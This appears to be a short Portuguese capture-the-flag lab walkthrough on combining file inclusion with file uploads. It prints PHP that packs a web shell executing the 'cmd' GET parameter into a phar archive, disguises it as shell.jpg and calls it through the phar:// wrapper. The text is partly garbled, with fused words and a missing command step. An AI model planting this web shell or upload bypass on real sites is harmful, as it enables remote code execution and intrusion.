LFI & Uploads - 1
Use qualquer uma das técnicas abordadas nesta seção para obter RCE e ler a bandeira em /

Vamos usar o wrapper
pharpara o nosso shell
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();Este script pode ser compilado em um
phararquivo que, quando chamado, escreveria um web shell em umshell.txtsubarquivo, com o qual podemos interagir. Podemos compilá-lo em umphararquivo e renomeá-loshell.jpgcomo segue:
Depois de fazer upload dele para o aplicativo web, podemos simplesmente chamá-lo com
phar://

Last updated